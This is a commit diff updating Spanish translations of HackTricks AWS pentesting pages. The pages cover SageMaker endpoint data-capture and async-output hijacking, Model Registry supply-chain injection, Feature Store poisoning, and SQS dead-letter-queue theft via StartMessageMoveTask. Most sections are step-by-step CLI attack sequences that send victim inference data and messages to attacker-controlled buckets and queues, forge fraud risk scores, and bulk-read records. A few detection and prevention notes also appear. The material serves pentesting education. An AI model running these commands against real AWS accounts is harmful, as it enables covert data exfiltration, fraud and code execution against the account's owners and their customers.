Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p

This commit is contained in:
Translator
2025-10-23 13:44:38 +00:00
parent 03a032d994
commit 026155c499
5 changed files with 458 additions and 173 deletions

View File

@@ -2,15 +2,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Exfiltración de datos de endpoints de SageMaker via UpdateEndpoint DataCaptureConfig
## Desvío de datos de endpoint de SageMaker vía UpdateEndpoint DataCaptureConfig
Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el modelo ni el contenedor. Usa una actualización rolling con cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint.
Abusa de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el model o container. Usa una zero/lowdowntime rolling update y solo requiere permisos de gestión del endpoint.
### Requisitos
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (o usar un bucket existente en la misma cuenta)
- Opcional (si se usa SSEKMS): `kms:Encrypt` on the chosen CMK
- Objetivo: un endpoint InService de tiempo real existente en la misma cuenta/región
- Opcional (si se usa SSEKMS): `kms:Encrypt` en la CMK elegida
- Objetivo: Un endpoint InService en tiempo real existente en la misma cuenta/región
### Pasos
1) Identificar un endpoint InService y recopilar las variantes de producción actuales
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Preparar destino S3 del atacante para capturas
2) Preparar destino S3 del atacante para captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Crea una nueva EndpointConfig que mantenga las mismas variants pero habilite DataCapture al attacker bucket
3) Crea un nuevo EndpointConfig que mantenga las mismas variantes pero habilite DataCapture hacia el attacker bucket
Nota: Usa content types explícitos que cumplan la validación del CLI.
Nota: Usa tipos de contenido explícitos que satisfagan la validación del CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Aplicar la nueva config con un rolling update (minimal/no downtime)
4) Aplicar la nueva configuración con un rolling update (tiempo de inactividad mínimo/nulo)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Generar al menos una llamada de inferencia (opcional si existe tráfico en vivo)
5) Generar al menos una llamada de inferencia (opcional si existe tráfico en tiempo real)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Validar capturas en el S3 del atacante
6) Validar capturas en attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impacto
- Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante.
- Sin cambios en el model/container image y solo cambios a nivel de endpoint, permitiendo una vía sigilosa de robo de datos con mínima interrupción operativa.
- Sin cambios en la imagen del model/container y solo cambios a nivel de endpoint, lo que permite una vía sigilosa de robo de datos con mínima interrupción operativa.
## Secuestro de la salida de async inference de SageMaker vía UpdateEndpoint AsyncInferenceConfig
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y estableciendo AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
Abusar de la gestión del endpoint para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.
### Requisitos
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Capacidad para escribir en el bucket S3 controlado por el atacante (vía el model execution role o una política de bucket permisiva)
- Target: Un endpoint InService donde se estén usando (o se usarán) invocaciones asíncronas
- S3: Capacidad para escribir en el bucket S3 del atacante (vía el model execution role o una política de bucket permisiva)
- Objetivo: Un endpoint InService donde las invocaciones asíncronas se están (o se usarán) empleando
### Pasos
1) Recolectar los ProductionVariants actuales del endpoint objetivo
1) Recopila los ProductionVariants actuales del endpoint objetivo
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Crea un attacker bucket (asegúrate de que el model execution role pueda PutObject en él)
2) Crea un bucket atacante (asegúrate de que el rol de ejecución del modelo pueda PutObject en él)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Clonar EndpointConfig y secuestrar las salidas de AsyncInference hacia el bucket del atacante
3) Clonar EndpointConfig y hijack AsyncInference outputs al attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante
4) Disparar una invocación asíncrona y verificar que los objetos terminen en el S3 del atacante
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impacto
- Redirige los resultados de inferencia asincrónica (y los cuerpos de error) a un S3 controlado por el atacante, posibilitando la exfiltración encubierta de predicciones y de entradas pre/post-procesadas potencialmente sensibles producidas por el contenedor, sin cambiar el código del modelo ni la imagen y con tiempo de inactividad mínimo o nulo.
- Redirige los resultados de inferencia asíncrona (y los cuerpos de error) a S3 controlado por el atacante, permitiendo la exfiltración encubierta de predicciones y de posibles entradas pre/post-procesadas sensibles producidas por el contenedor, sin cambiar el código o la imagen del modelo y con tiempo de inactividad mínimo o nulo.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Si un atacante puede CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchas pipelines CI/CD despliegan automáticamente las versiones de modelo Approved a endpoints o training jobs, resultando en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse por una política de recurso ModelPackageGroup permisiva.
Si un atacante puede ejecutar CreateModelPackage en un Model Package Group objetivo de SageMaker, puede registrar una nueva versión de modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones Approved de modelos a endpoints o training jobs, lo que puede resultar en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse mediante una política de recurso ModelPackageGroup permisiva.
### Requisitos
- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` en el ModelPackageGroup objetivo
- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Opcional (para crear un grupo si no existe): `sagemaker:CreateModelPackageGroup`
- S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
- Objetivo: Un Model Package Group que la automatización aguas abajo supervisa en busca de versiones Approved
- Objetivo: Un Model Package Group que la automatización downstream vigila en busca de versiones Approved
### Pasos
1) Establecer la región y crear/encontrar un Model Package Group objetivo
1) Configurar la región y crear/buscar un Model Package Group objetivo
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Preparar datos de modelo ficticios en S3
2) Preparar datos de modelo de prueba en S3
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que hace referencia a una imagen pública de AWS DLC
3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Verificar que exista la nueva versión Approved
4) Verificar que la nueva versión Approved exista
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impacto
- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Los pipelines que despliegan automáticamente modelos Approved pueden descargar y ejecutar la imagen del atacante, provocando ejecución de código con los roles de endpoint/training.
- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.
- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Pipelines que auto-deployan modelos Approved pueden pull y ejecutar la imagen del atacante, obteniendo ejecución de código bajo los endpoint/training roles.
- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse cross-account.
## Envenenamiento del Feature store
Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por inferencia en línea. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por la inferencia online. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,15 +1,17 @@
# SageMaker Feature Store online store poisoning
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles y exfiltrate datos confidenciales de ML. Esto no requiere acceso a models o endpoints, convirtiéndolo en un ataque directo a la capa de datos.
{{#include ../../../../banners/hacktricks-training.md}}
## Requirements
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en tiempo real. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos o endpoints.
## Steps
## Requisitos
- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando inferencia en tiempo real)
- Complejidad: **BAJA** - Comandos simples de AWS CLI, no se requiere manipulación de modelos
### Reconnaissance
## Pasos
### Reconocimiento
1) Listar Feature Groups con OnlineStore habilitado
```bash
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Describir el Feature Group objetivo para comprender su esquema
2) Describe un Feature Group objetivo para entender su esquema
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Nota el `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de features. Estos son necesarios para crear registros válidos.
Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de características. Estas son necesarias para elaborar registros válidos.
### Escenario de ataque 1: Data Poisoning (Sobrescribir registros existentes)
### Escenario de ataque 1: Data Poisoning (Overwrite Existing Records)
1) Leer el registro legítimo actual
```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Envenenar el registro con valores maliciosos usando el parámetro en línea `--record`
2) Envenena el registro con valores maliciosos usando el parámetro inline `--record`
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -61,7 +63,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que puede bloquear sus transacciones o servicios.
**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que podría bloquear sus transacciones o servicios.
### Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records)
@@ -82,14 +84,14 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Verifica la inyección:
Verifique la inyección:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impacto**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
### Escenario de ataque 3: Exfiltración de datos sensibles
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al atacante.
**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al attacker.
### Testing/Demo Feature Group Creation (Optional)
### Creación de Feature Group de prueba/demostración (Opcional)
Si necesitas crear un Feature Group de prueba:
```bash
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Detección
Supervise CloudTrail en busca de patrones sospechosos:
- Eventos `PutRecord` desde IAM principals inusuales o direcciones IP
- Llamadas `PutRecord` o `GetRecord` con alta frecuencia
- `PutRecord` con valores de característica anómalos (p. ej., risk_score fuera del rango normal)
- Operaciones masivas `GetRecord` que indiquen exfiltración en masa
- Acceso fuera del horario laboral habitual o desde ubicaciones inesperadas
Implemente detección de anomalías:
- Validación de valores de característica (p. ej., risk_score debe ser 0.0-1.0)
- Análisis de patrones de escritura (frecuencia, tiempos, identidad de origen)
- Detección de deriva de datos (cambios bruscos en las distribuciones de características)
## References
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
## Referencias
- [Documentación de AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Mejores prácticas de seguridad para Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS SQS DLQ Exfiltración Redrive vía StartMessageMoveTask
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## Description
{{#include ../../../banners/hacktricks-training.md}}
Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en las DLQ con el tiempo.
## Descripción
## What is a Dead-Letter Queue (DLQ)?
Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados en el Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una queue controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en los DLQ a lo largo del tiempo.
Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando no pueden ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
- Datos sensibles de la aplicación que no pudieron ser procesados
## ¿Qué es un Dead-Letter Queue (DLQ)?
Un Dead-Letter Queue es una queue especial de SQS donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
- Datos sensibles de la aplicación que no pudieron procesarse
- Detalles de errores e información para depuración
- Información de identificación personal (PII)
- Tokens de API, credenciales u otros secretos
- Datos de transacciones críticos para el negocio
Las DLQ actúan como un "cementerio" para mensajes fallidos, por lo que son objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
Los DLQ actúan como un "cementerio" para mensajes fallidos, lo que los convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
## Attack Scenario
## Escenario de ataque
**Real-world example:**
1. **E-commerce application** procesa pedidos de clientes a través de SQS
2. **Some orders fail** (problemas de pago, inventario, etc.) y se mueven a una DLQ
3. **DLQ accumulates** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** a credenciales AWS con permisos SQS
5. **Attacker discovers** que la DLQ contiene miles de pedidos fallidos con datos sensibles
6. **Instead of trying to access individual messages** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia cola
7. **Attacker extracts** todos los datos históricos sensibles en una sola operación
**Ejemplo del mundo real:**
1. **Una aplicación de e-commerce** procesa pedidos de clientes a través de SQS
2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a un DLQ
3. **El DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **El atacante obtiene acceso** a credenciales de AWS con permisos de SQS
5. **El atacante descubre** que el DLQ contiene miles de pedidos fallidos con datos sensibles
6. **En lugar de intentar acceder a mensajes individuales** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia queue
7. **El atacante extrae** todos los datos históricos sensibles en una sola operación
## Requirements
- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna cola).
- Permisos IAM (ejecutados como el principal de la víctima comprometida):
- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- En la cola de destino: permiso para entregar mensajes (por ejemplo, política de cola que permita `sqs:SendMessage` desde el principal de la víctima). Para destinos en la misma cuenta esto normalmente está permitido por defecto.
## Requisitos
- La queue de origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna queue).
- Permisos IAM (ejecutados como el principal víctima comprometido):
- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- En la queue de destino: permiso para entregar mensajes (por ejemplo, política de queue que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta, esto suele estar permitido por defecto.
- Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltración de cargas útiles sensibles acumuladas en DLQ (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando APIs nativas de SQS. Funciona cross-account si la política de la cola de destino permite `SendMessage` desde el principal de la víctima.
## Impacto
Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la queue de destino permite `SendMessage` desde el principal víctima.
## How to Abuse
## Cómo abusar
- Identificar el ARN de la DLQ de la víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve).
- Crear o elegir una cola de destino controlada por el atacante y obtener su ARN.
- Iniciar una tarea de movimiento de mensajes desde la DLQ de la víctima hacia tu cola de destino con StartMessageMoveTask.
- Monitorizar el progreso o cancelar si es necesario.
- Identifique el ARN del DLQ de la víctima y asegúrese de que realmente esté referenciado como DLQ por alguna queue (cualquier queue sirve).
- Cree o elija una queue controlada por el atacante y obtenga su ARN.
- Inicie una tarea de movimiento de mensajes desde el DLQ de la víctima hacia su queue de destino.
- Monitoree el progreso o cancele si es necesario.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
### Ejemplo CLI: Exfiltración de datos de clientes desde DLQ de e-commerce
**Scenario**: Un atacante ha comprometido credenciales AWS y ha descubierto que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
**Escenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con un DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
1) **Discover and examine the victim DLQ**
1) **Descubrir y examinar el DLQ de la víctima**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Crear una cola de destino controlada por el atacante**
2) **Crear cola de destino controlada por attacker**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Ejecutar el bulk message theft**
3) **Ejecutar el robo masivo de mensajes**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Notas entre cuentas
- La cola de destino debe tener una política de recursos que permita al principal de la víctima realizar `sqs:SendMessage` (y, si se usa, concesiones/permisos de KMS).
- La cola de destino debe tener una política de recursos que permita al principal víctima `sqs:SendMessage` (and, if used, KMS grants/permissions).
## Por qué este ataque es efectivo
1. **Característica legítima de AWS**: Utiliza funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso
2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceso individual y lento
1. **Funcionalidad legítima de AWS**: Usa la funcionalidad integrada de AWS, lo que dificulta detectarla como maliciosa
2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceder uno por uno lentamente
3. **Datos históricos**: Las DLQs acumulan datos sensibles durante semanas/meses
4. **Fuera del radar**: Muchas organizaciones no supervisan de cerca el acceso a las DLQs
5. **Capaz entre cuentas**: Puede exfiltrate a la propia cuenta AWS del atacante si los permisos lo permiten
4. **Fuera del radar**: Muchas organizaciones no monitorizan el acceso a DLQs de cerca
5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten
## Detección y prevención
### Detección
Supervisar CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas:
Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ Supervisar CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosa
}
```
### Prevención
1. **Principio de privilegio mínimo**: Restringe los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
2. **Monitoreo de DLQs**: Configura alarmas de CloudWatch para actividad inusual en las DLQs
3. **Políticas entre cuentas**: Revisa cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
4. **Cifra las DLQs**: Usa SSE-KMS con políticas de claves restringidas
5. **Limpieza regular**: No permitas que datos sensibles se acumulen en las DLQs indefinidamente
1. **Principio de mínimo privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
2. **Monitorear DLQs**: Configurar alarmas de CloudWatch para actividad inusual en DLQs
3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
4. **Cifrar DLQs**: Usar SSE-KMS con políticas de clave restringidas
5. **Limpieza regular**: No permita que datos sensibles se acumulen en DLQs indefinidamente
{{#include ../../../banners/hacktricks-training.md}}